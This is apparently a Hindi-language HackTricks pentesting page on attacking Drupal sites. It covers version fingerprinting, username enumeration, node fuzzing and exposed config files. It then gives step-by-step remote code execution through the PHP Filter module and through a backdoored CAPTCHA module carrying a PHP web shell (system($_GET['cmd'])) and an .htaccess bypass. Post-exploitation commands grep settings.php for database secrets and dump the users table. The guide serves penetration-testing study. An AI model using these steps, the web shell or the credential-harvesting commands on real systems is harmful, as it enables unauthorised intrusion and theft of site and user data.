hacktricks/network-services-pentesting/pentesting-web/drupal.md

14 KiB

Drupal

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

खोज

  • मेटा की जांच करें
curl https://www.drupal.org/ | grep 'content="Drupal'
  • Node: Drupal अपनी सामग्री को नोड्स का उपयोग करके इंडेक्स करता है। एक नोड कुछ भी रख सकता है जैसे कि ब्लॉग पोस्ट, पोल, लेख, आदि। पेज URIs आमतौर पर /node/<nodeid> के रूप में होते हैं।
curl drupal-site.com/node/1

परिगणना

Drupal मूल रूप से तीन प्रकार के उपयोगकर्ता का समर्थन करता है:

  1. Administrator: इस उपयोगकर्ता के पास Drupal वेबसाइट पर पूर्ण नियंत्रण होता है।
  2. Authenticated User: ये उपयोगकर्ता वेबसाइट में लॉग इन कर सकते हैं और अपनी अनुमतियों के आधार पर लेख जोड़ने और संपादित करने जैसे कार्य कर सकते हैं।
  3. Anonymous: सभी वेबसाइट आगंतुकों को अनाम के रूप में नामित किया जाता है। मूल रूप से, इन उपयोगकर्ताओं को केवल पोस्ट पढ़ने की अनुमति होती है।

संस्करण

  • /CHANGELOG.txt की जाँच करें
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21

{% hint style="info" %} Drupal की नई स्थापनाएँ डिफ़ॉल्ट रूप से CHANGELOG.txt और README.txt फ़ाइलों तक पहुँच को अवरुद्ध करती हैं। {% endhint %}

यूजरनेम अनुमान

रजिस्टर

/user/register में बस एक यूजरनेम बनाने की कोशिश करें और अगर नाम पहले से लिया गया है तो इसकी सूचना दी जाएगी:

नया पासवर्ड अनुरोध

अगर आप मौजूदा यूजरनेम के लिए नया पासवर्ड अनुरोध करते हैं:

अगर आप गैर-मौजूदा यूजरनेम के लिए नया पासवर्ड अनुरोध करते हैं:

यूजर्स की संख्या प्राप्त करें

/user/<number> तक पहुँचकर आप मौजूदा यूजर्स की संख्या देख सकते हैं, इस मामले में 2 है क्योंकि /users/3 एक नहीं मिला त्रुटि देता है:

छिपे हुए पेज

/node/$ को Fuzz करें जहाँ $ एक संख्या है (उदाहरण के लिए 1 से 500 तक)।
आप छिपे हुए पेज (टेस्ट, डेव) पा सकते हैं जो सर्च इंजनों द्वारा संदर्भित नहीं किए जाते हैं।

स्थापित मॉड्यूल की जानकारी

#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml

# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml

स्वचालित

droopescan scan drupal -u http://drupal-site.local

RCE

PHP Filter Module के साथ

{% hint style="warning" %} Drupal के पुराने संस्करणों में (संस्करण 8 से पहले), एक व्यवस्थापक के रूप में लॉग इन करना और PHP filter मॉड्यूल को सक्षम करना संभव था, जो "PHP कोड/स्निपेट्स का मूल्यांकन करने की अनुमति देता है।" {% endhint %}

आपको plugin php का इंस्टॉल होना आवश्यक है (इसे /modules/php पर जाकर जांचें और यदि यह 403 लौटाता है, तो, मौजूद है, यदि नहीं मिला, तो plugin php इंस्टॉल नहीं है)

Modules पर जाएं -> (जांचें) PHP Filter -> Save configuration

फिर Add content पर क्लिक करें -> Basic Page या Article चुनें -> php shellcode को body में लिखें -> Text format में PHP code चुनें -> Preview चुनें

अंत में बस नए बनाए गए नोड को एक्सेस करें:

curl http://drupal-site.local/node/3

PHP Filter Module स्थापित करें

संस्करण 8 के बाद से, PHP Filter मॉड्यूल डिफ़ॉल्ट रूप से स्थापित नहीं होता है। इस कार्यक्षमता का उपयोग करने के लिए, हमें मॉड्यूल को स्वयं स्थापित करना होगा

  1. Drupal वेबसाइट से मॉड्यूल का सबसे हाल का संस्करण डाउनलोड करें।
  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
  3. डाउनलोड हो जाने के बाद Administration > Reports > Available updates पर जाएं।
  4. Browse पर क्लिक करें, फिर डाउनलोड की गई डायरेक्टरी से फाइल का चयन करें और फिर Install पर क्लिक करें।
  5. मॉड्यूल स्थापित हो जाने के बाद, हम Content पर क्लिक कर सकते हैं और नया बेसिक पेज बना सकते हैं, जैसा कि हमने Drupal 7 के उदाहरण में किया था। फिर से, सुनिश्चित करें कि Text format ड्रॉपडाउन से PHP code का चयन करें

Backdoored Module

एक backdoored मॉड्यूल मौजूदा मॉड्यूल में एक शेल जोड़कर बनाया जा सकता है। मॉड्यूल्स drupal.org वेबसाइट पर पाए जा सकते हैं। चलिए CAPTCHA जैसे मॉड्यूल को चुनते हैं। नीचे स्क्रॉल करें और tar.gz archive के लिंक को कॉपी करें।

  • आर्काइव को डाउनलोड करें और इसकी सामग्री को निकालें।
wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • PHP वेब शेल बनाएं जिसकी सामग्री हो:
<?php
system($_GET["cmd"]);
?>
  • अगला, हमें खुद को फोल्डर तक पहुँच प्रदान करने के लिए एक .htaccess फाइल बनाने की आवश्यकता है। यह जरूरी है क्योंकि Drupal सीधे /modules फोल्डर तक पहुँच को मना करता है।
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • ऊपर दिया गया कॉन्फ़िगरेशन / फ़ोल्डर के लिए नियम लागू करेगा जब हम /modules में किसी फ़ाइल का अनुरोध करते हैं। इन दोनों फ़ाइलों को captcha फ़ोल्डर में कॉपी करें और एक आर्काइव बनाएं।
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • मान लीजिए हमारे पास वेबसाइट का प्रशासनिक पहुँच है, प्रबंधन पर क्लिक करें और फिर साइडबार पर विस्तार पर क्लिक करें। अगला, + नया मॉड्यूल स्थापित करें बटन पर क्लिक करें, और हमें स्थापना पृष्ठ पर ले जाया जाएगा, जैसे कि http://drupal-site.local/admin/modules/install बैकडोर्ड कैप्चा आर्काइव को ब्राउज़ करें और स्थापित करें पर क्लिक करें।
  • स्थापना सफल होने के बाद, /modules/captcha/shell.php पर ब्राउज़ करें ताकि आदेशों को निष्पादित किया जा सके।

पोस्ट एक्सप्लॉइटेशन

settings.php पढ़ें

find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null

डीबी से उपयोगकर्ताओं की जानकारी निकालना

mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'

संदर्भ

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके: